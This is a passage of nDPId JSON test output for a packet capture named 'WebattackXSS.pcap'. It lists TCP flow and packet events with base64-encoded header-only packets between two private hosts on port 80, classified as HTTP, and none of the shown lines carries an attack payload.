+00432{"flow_id":243,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3489,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347386,"pkt_ts_usec":721766,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0VvFAAD4GbuesEAABwKgKMt0OAFBD4SrV2lGT9oARAOVwmgAAAQEICgE6gSQD5E2x"} +00432{"flow_id":243,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3490,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347386,"pkt_ts_usec":721951,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0wW9AAEAGAmnAqAoyrBAAAQBQ3Q7aUZP2Q+Eq1oARAONrswAAAQEICgPkUpkBOoEk"} +00432{"flow_id":243,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3491,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347386,"pkt_ts_usec":722710,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0VvJAAD4GbuasEAABwKgKMt0OAFBD4SrW2lGT94AQAOVrsQAAAQEICgE6gSQD5FKZ"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3492,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":246,"flow_packet_id":1,"flow_first_seen":1499347386736,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56644,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":246,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3492,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347386,"pkt_ts_usec":736484,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA85qBAAD4G3y+sEAABwKgKMt1EAFDnQGeHAAAAAKACchCwRQAAAgQFtAQCCAoBOoEnAAAAAAEDAwc="} +00444{"flow_id":246,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3493,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347386,"pkt_ts_usec":736559,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3URBkoPY50BniKAScSCVOAAAAgQFtAQCCAoD5FKdATqBJwEDAwc="} +00432{"flow_id":246,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3494,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347386,"pkt_ts_usec":737152,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA05qFAAD4G3zasEAABwKgKMt1EAFDnQGeIQZKD2YAQAOU0PwAAAQEICgE6gSgD5FKd"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3508,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":247,"flow_packet_id":1,"flow_first_seen":1499347389305,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56670,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":247,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3508,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347389,"pkt_ts_usec":305327,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA86AFAAD4G3c6sEAABwKgKMt1eAFBbbmurAAAAAKACchA1VwAAAgQFtAQCCAoBOoOqAAAAAAEDAwc="} +00444{"flow_id":247,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3509,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347389,"pkt_ts_usec":305423,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3V4nyHcOW25rrKAScSA+XAAAAgQFtAQCCAoD5FUfATqDqgEDAwc="} +00432{"flow_id":247,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3510,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347389,"pkt_ts_usec":306028,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06AJAAD4G3dWsEAABwKgKMt1eAFBbbmusJ8h3D4AQAOXdYwAAAQEICgE6g6oD5FUf"} +00432{"flow_id":244,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3514,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347389,"pkt_ts_usec":722138,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0bHlAAD4GWV+sEAABwKgKMt0oAFALKxLeOmgADYARAOXvowAAAQEICgE6hBID5FAg"} +00432{"flow_id":244,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3515,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347389,"pkt_ts_usec":722388,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0VYVAAEAGblPAqAoyrBAAAQBQ3Sg6aAANCysS34ARAOPqPAAAAQEICgPkVYgBOoQS"} +00432{"flow_id":244,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3516,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347389,"pkt_ts_usec":723103,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0bHpAAD4GWV6sEAABwKgKMt0oAFALKxLfOmgADoAQAOXqOgAAAQEICgE6hBID5FWI"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3520,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":248,"flow_packet_id":1,"flow_first_seen":1499347390580,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56684,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":248,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3520,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347390,"pkt_ts_usec":580539,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8jW9AAD4GOGGsEAABwKgKMt1sAFC4TAmHAAAAAKACchA5UQAAAgQFtAQCCAoBOoToAAAAAAEDAwc="} +00444{"flow_id":248,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3521,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347390,"pkt_ts_usec":580677,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3Wzc2WIguEwJiKAScSCg8wAAAgQFtAQCCAoD5FZeATqE6AEDAwc="} +00433{"flow_id":248,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3522,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347390,"pkt_ts_usec":581434,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jXBAAD4GOGisEAABwKgKMt1sAFC4TAmI3NliIYAQAOU\/+gAAAQEICgE6hOkD5FZe"} +00432{"flow_id":245,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3527,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347390,"pkt_ts_usec":722465,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0VS5AAD4GcKqsEAABwKgKMt02AFBQ3SrCbGWtS4ARAOWwhgAAAQEICgE6hQwD5FFj"} +00432{"flow_id":245,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3528,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347390,"pkt_ts_usec":722713,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0+8lAAEAGyA7AqAoyrBAAAQBQ3TZsZa1LUN0qw4ARAOOraAAAAQEICgPkVoIBOoUM"} +00432{"flow_id":245,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3529,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347390,"pkt_ts_usec":723245,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0VS9AAD4GcKmsEAABwKgKMt02AFBQ3SrDbGWtTIAQAOWrZgAAAQEICgE6hQwD5FaC"} +00432{"flow_id":246,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3537,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347392,"pkt_ts_usec":722388,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA05qJAAD4G3zWsEAABwKgKMt1EAFDnQGeIQZKD2YARAOUuZgAAAQEICgE6hwAD5FKd"} +00432{"flow_id":246,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3538,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347392,"pkt_ts_usec":722578,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0269AAEAG6CjAqAoyrBAAAQBQ3URBkoPZ50BniYARAOMojgAAAQEICgPkWHYBOocA"} +00432{"flow_id":246,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3539,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347392,"pkt_ts_usec":723196,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA05qNAAD4G3zSsEAABwKgKMt1EAFDnQGeJQZKD2oAQAOUojAAAAQEICgE6hwAD5Fh2"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3543,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":249,"flow_packet_id":1,"flow_first_seen":1499347393135,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56710,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":249,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3543,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347393,"pkt_ts_usec":135857,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA89hRAAD4Gz7usEAABwKgKMt2GAFBIK3FzAAAAAKACchA+7QAAAgQFtAQCCAoBOodnAAAAAAEDAwc="} +00444{"flow_id":249,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3544,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347393,"pkt_ts_usec":135984,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3Yb1ZkzcSCtxdKAScSCgxwAAAgQFtAQCCAoD5FjdATqHZwEDAwc="} +00433{"flow_id":249,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3545,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347393,"pkt_ts_usec":136736,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA09hVAAD4Gz8KsEAABwKgKMt2GAFBIK3F09WZM3YAQAOU\/zwAAAQEICgE6h2cD5Fjd"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3552,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":250,"flow_packet_id":1,"flow_first_seen":1499347394398,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56724,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":250,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3552,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347394,"pkt_ts_usec":398432,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8eldAAD4GS3msEAABwKgKMt2UAFCjvfL0AAAAAKACchBgjwAAAgQFtAQCCAoBOoijAAAAAAEDAwc="} +00444{"flow_id":250,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3553,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347394,"pkt_ts_usec":398557,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3ZQ04Dogo73y9aAScSCUcAAAAgQFtAQCCAoD5FoZATqIowEDAwc="} +00432{"flow_id":250,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3554,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347394,"pkt_ts_usec":399310,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0elhAAD4GS4CsEAABwKgKMt2UAFCjvfL1NOA6IYAQAOUzeAAAAQEICgE6iKMD5FoZ"} +00432{"flow_id":247,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3558,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347394,"pkt_ts_usec":722521,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06ANAAD4G3dSsEAABwKgKMt1eAFBbbmusJ8h3D4ARAOXYGAAAAQEICgE6iPQD5FUf"} +00432{"flow_id":247,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3559,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347394,"pkt_ts_usec":722717,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0LWVAAEAGlnPAqAoyrBAAAQBQ3V4nyHcPW25rrYARAOPSzgAAAQEICgPkWmoBOoj0"} +00432{"flow_id":247,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3560,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347394,"pkt_ts_usec":723279,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA06ARAAD4G3dOsEAABwKgKMt1eAFBbbmutJ8h3EIAQAOXSzAAAAQEICgE6iPQD5Fpq"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3561,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":207,"flow_packet_id":6,"flow_first_seen":1499347320712,"flow_last_seen":1499347326706,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55942,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3561,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":207,"flow_packet_id":6,"flow_first_seen":1499347320712,"flow_last_seen":1499347326706,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55942,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3561,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":208,"flow_packet_id":6,"flow_first_seen":1499347323234,"flow_last_seen":1499347328706,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55968,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3561,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":208,"flow_packet_id":6,"flow_first_seen":1499347323234,"flow_last_seen":1499347328706,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55968,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3561,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":209,"flow_packet_id":6,"flow_first_seen":1499347324538,"flow_last_seen":1499347329706,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55982,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3561,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":209,"flow_packet_id":6,"flow_first_seen":1499347324538,"flow_last_seen":1499347329706,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55982,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3561,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":210,"flow_packet_id":6,"flow_first_seen":1499347325777,"flow_last_seen":1499347331707,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55996,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3561,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":210,"flow_packet_id":6,"flow_first_seen":1499347325777,"flow_last_seen":1499347331707,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55996,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3561,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":211,"flow_packet_id":6,"flow_first_seen":1499347328298,"flow_last_seen":1499347333709,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56022,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3561,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":211,"flow_packet_id":6,"flow_first_seen":1499347328298,"flow_last_seen":1499347333709,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56022,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3561,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":212,"flow_packet_id":6,"flow_first_seen":1499347329594,"flow_last_seen":1499347334709,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56036,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3561,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":212,"flow_packet_id":6,"flow_first_seen":1499347329594,"flow_last_seen":1499347334709,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56036,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":248,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3564,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347395,"pkt_ts_usec":723222,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jXFAAD4GOGesEAABwKgKMt1sAFC4TAmI3NliIYARAOU69AAAAQEICgE6ie4D5FZe"} +00432{"flow_id":248,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3565,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347395,"pkt_ts_usec":723466,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0OUVAAEAGipPAqAoyrBAAAQBQ3Wzc2WIhuEwJiYARAOM17wAAAQEICgPkW2QBOonu"} +00432{"flow_id":248,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3566,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347395,"pkt_ts_usec":724239,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jXJAAD4GOGasEAABwKgKMt1sAFC4TAmJ3NliIoAQAOU17QAAAQEICgE6ie4D5Ftk"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3567,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":251,"flow_packet_id":1,"flow_first_seen":1499347395736,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56738,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} 